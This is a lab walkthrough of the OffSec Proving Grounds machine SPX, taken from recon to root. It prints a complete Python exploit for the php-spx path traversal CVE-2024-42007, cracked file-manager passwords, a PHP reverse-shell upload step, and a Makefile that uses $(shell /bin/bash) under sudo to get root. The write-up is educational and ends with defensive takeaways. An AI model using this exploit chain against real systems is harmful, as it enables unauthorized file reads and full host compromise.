OffSec Proving Grounds SPX — php-spx CVE-2024-42007

In this Art of Vector walkthrough, we take OffSec Proving Grounds SPX from a quiet two-port scan to full root by chaining an exposed phpinfo leak, CVE-2024-42007 in php-spx, Tiny File Manager credential recovery, a PHP web shell, password reuse into profiler, and finally a sudo-allowed make install that evaluates attacker-controlled Makefile shell expansion as root.

Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary

SPX looks simple at first. A full TCP scan shows only SSH and Apache. The web title names Tiny File Manager, which suggests an authenticated file-management path. That is correct — but it is not the first winning move.

The real opener is phpinfo.php. That page exposes the php-spx HTTP key (spx.http_key). With that key in hand, CVE-2024-42007 becomes a remote arbitrary-file read against the SPX UI. Reading /var/www/html/index.php recovers Tiny File Manager bcrypt hashes. John cracks them. Admin login unlocks file upload. A reverse shell lands as www-data, password reuse pivots to profiler, and a writable Makefile under a sudo-allowed make install finishes the job as root.

Enumeration

Nmap

Start with a full TCP scan plus version detection and default scripts:

nmap -sV -sC -p- 192.168.120.108 -v

The host is intentionally narrow:

22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu
80/tcp open  http  Apache httpd 2.4.52 (Ubuntu)

The HTTP title is the first product signal:

http-title: Tiny File Manager

At this stage, the temptation is to treat Tiny File Manager as the only interesting surface. That is incomplete. Product fingerprinting matters, but so does finding the supporting PHP debugging and profiling artifacts that often sit next to it.

Directory enumeration

Content discovery confirms both the application and a high-value information leak:

gobuster dir -u http://192.168.120.108/ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -x php

Key results:

index.php      (Status: 200)
phpinfo.php    (Status: 200)
server-status  (Status: 403)

index.php is Tiny File Manager. phpinfo.php is the pivot that unlocks the rest of the chain.

Why phpinfo mattered

Browsing http://192.168.120.108/phpinfo.php reveals the php-spx configuration value:

spx.http_key = a2a90ca2f9f0ea04d267b16fb8e63800

That single line changes the assessment model. The box is no longer just "Tiny File Manager with unknown credentials." It is now "Tiny File Manager sitting on a PHP host with SPX profiling enabled and a leaked HTTP key."

In practice, that is enough to search for public SPX issues and land on CVE-2024-42007.

Why php-spx became the path

php-spx is a profiling extension. Its HTTP UI is meant to help developers inspect performance data. On SPX, that UI is reachable through the same web stack as Tiny File Manager, and the key required to interact with it is sitting in phpinfo.

CVE-2024-42007 affects php-spx through 0.4.15. The issue is a directory traversal in SPX_UI_URI: with a valid SPX_KEY, an attacker can escape the intended UI path and read arbitrary files as the web server user.

The important idea is the chain, not just the CVE name:

• phpinfo leaks spx.http_key
• php-spx UI becomes reachable with that key
• path traversal turns the profiler UI into a file-read primitive
• Tiny File Manager source contains bcrypt password hashes
• authenticated upload becomes remote code execution

That is a classic "supporting service beats primary application" pattern.

Exploitation path

Arbitrary file read via CVE-2024-42007

With the leaked key, a public PoC for php-spx path traversal can read arbitrary files by abusing SPX_KEY and SPX_UI_URI:

import argparse
import requests
import urllib.parse
import sys

def validate_url(target_url):
    parsed_url = urllib.parse.urlparse(target_url)
    return parsed_url.scheme in ['http', 'https']

def exploit(target_url, file_to_read, spx_key):
    traversal = "%2f.." * 18
    encoded_path = urllib.parse.quote(file_to_read)
    print(encoded_path)
    vuln_url = f"{target_url}/?SPX_KEY={spx_key}&SPX_UI_URI={traversal}{encoded_path}"

    try:
        response = requests.get(vuln_url, timeout=10, verify=False)
    except Exception as e:
        print(f"[-] Error sending request: {e}")
        return None

    if response.status_code == 404:
        print(f"[-] File not found (404)")
        return None
    elif response.status_code == 200 and len(response.text) > 0:
        if '<!DOCTYPE html>' in response.text or '<html' in response.text.lower()[:200]:
            print(f"[-] Got HTML response - incorrect SPX_KEY or file doesn't exist")
            print(f"[*] Printing response anyway:\n")
            return response.text
        return response.text
    else:
        print(f"[-] Unexpected status code: {response.status_code}")
        if len(response.text) > 0:
            print(f"[*] Printing response anyway:\n")
            return response.text
        return None

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2024-42007 - php-spx Path Traversal Exploit'
    )

    parser.add_argument('-t', '--target', required=True, metavar='URL',
                        help='Target URL (e.g., http://192.168.1.100/index.php/)')
    parser.add_argument('-f', '--file', default='/etc/passwd', metavar='PATH',
                        help='File path to read (default: /etc/passwd)')
    parser.add_argument('-k', '--key', default='dev', metavar='KEY',
                        help='SPX_KEY value (default: dev)')

    if len(sys.argv) == 1:
        parser.print_help(sys.stderr)
        sys.exit(1)

    args = parser.parse_args()

    if not validate_url(args.target):
        print("[-] Invalid target URL. Must start with http:// or https://")
        sys.exit(1)

    print(f"[*] Target: {args.target}")
    print(f"[*] File: {args.file}")
    print(f"[*] SPX_KEY: {args.key}\n")

    result = exploit(args.target, args.file, args.key)

    if result:
        print(result)
    else:
        print("\n[!] Tip: Try different SPX_KEY values or verify the file path exists")

if __name__ == "__main__":
    requests.packages.urllib3.disable_warnings()
    main()

Run it against the target and pull Tiny File Manager's source:

python CVE_2024_42007.py \
  -t http://192.168.120.108/index.php/ \
  -f /var/www/html/index.php \
  -k a2a90ca2f9f0ea04d267b16fb8e63800

The PoC builds a traversal through SPX_UI_URI and requests the chosen file. Reading /var/www/html/index.php recovers Tiny File Manager 2.5.3 configuration, including the authentication block:

$auth_users = array(
    'admin' => '$2y$10$7LaMUa8an8NrvnQsj5xZ3eDdOejgLyXE8IIvsC.hFy1dg7rPb9cqG',
    'user'  => '$2y$10$x8PS6i0Sji2Pglyz7SLFruYFpAsz9XAYsdiPyfse6QDkB/QsdShxi'
);

That is the credential store. No brute force against the login form is required yet. The hashes can be attacked offline.

Cracking Tiny File Manager credentials

Save the bcrypt hashes and crack them with John and rockyou:

john.exe .\pass.txt --wordlist=.\rockyou.txt

Result:

profiler   (user)
lowprofile (admin)

So the recovered application credentials are:

admin:lowprofile
user:profiler

The admin account is the one that matters for initial access because Tiny File Manager gives authenticated users a direct write path into the web root.

Web shell and reverse shell

Log in to Tiny File Manager as admin / lowprofile, then upload a PHP reverse shell such as r.php.

Start a listener before triggering it:

penelope -p 5555

Browse to the uploaded shell:

http://192.168.120.108/r.php

The callback returns as the Apache user:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

At this point the host is compromised for initial access. Privilege escalation is still required for root.

Lateral movement

Password reuse bridges the gap from web context to a local user shell.

From www-data, switch to the Linux user that matches the box theme:

su profiler

Password: lowprofile

The Tiny File Manager admin password works for the OS account profiler. That is the second major operational failure on the host: weak application secrets plus credential reuse across trust boundaries.

Confirm what profiler can run:

sudo -l

User profiler may run the following commands on spx:
    (ALL) /usr/bin/make install -C /home/profiler/php-spx

The sudo rule looks constrained. In reality, it is only as safe as the contents of /home/profiler/php-spx. Because that directory is writable by profiler, the "constrained" command is still attacker-controlled.

Privilege escalation

Turning sudo make into root

profiler is allowed to execute:

sudo /usr/bin/make install -C /home/profiler/php-spx

Make is not a simple file installer. It is a build orchestrator that expands variables, evaluates $(shell ...) functions, and runs recipes. When Make runs as root through sudo, those expansions inherit root privileges.

A minimal malicious Makefile is enough:

FILES = $(shell /bin/bash)
install:
        echo $(FILES)

When Make parses this file, $(shell /bin/bash) executes immediately. Because the sudo command is running as root, the spawned shell is root.

Run the allowed command:

sudo /usr/bin/make install -C /home/profiler/php-spx

Confirm impact:

id

uid=0(root) gid=0(root) groups=0(root)

That closes the box.

Root outcome

SPX is memorable because every stage feeds the next one cleanly:

• recon finds Tiny File Manager and phpinfo.php
• phpinfo leaks spx.http_key
• CVE-2024-42007 turns that key into arbitrary file read
• Tiny File Manager hashes crack to admin:lowprofile
• authenticated upload yields www-data
• password reuse lands profiler
• sudo make install over a writable Makefile becomes root

Why this machine is a good lesson

SPX rewards layered thinking.

If you stop at the Tiny File Manager login page, you may burn time guessing passwords. If you treat phpinfo as noise, you miss the SPX key. If you find the key but do not connect it to php-spx research, you miss the file-read primitive. And if you get a user shell but assume "sudo make install -C ..." is safe because the binary path is fixed, you miss the final root path.

The deeper lesson is about trust boundaries:

1. Debugging endpoints leak secrets.
2. Profiling UIs can become file-read surfaces.
3. File managers are remote write primitives once authenticated.
4. Build tools under sudo are shell interpreters in disguise.

Defensive takeaways

1. Never leave phpinfo reachable in non-development environments.
2. Patch php-spx past the vulnerable window for CVE-2024-42007, or disable the HTTP UI entirely.
3. Do not expose Tiny File Manager to untrusted networks, and enforce strong unique credentials.
4. Avoid storing application password hashes in world-readable web paths when safer secret stores are available.
5. Never grant sudo rights to make, compilers, or installers over attacker-writable directories.
6. Monitor for unexpected PHP uploads under the web root and unusual sudo make activity.

References

• CVE-2024-42007 (NVD)
• php-spx issue #251
• Vicarius write-up on CVE-2024-42007
• Tiny File Manager
• Penelope
• John the Ripper

Unauthorized access is illegal. This write-up is for education and authorized lab work only.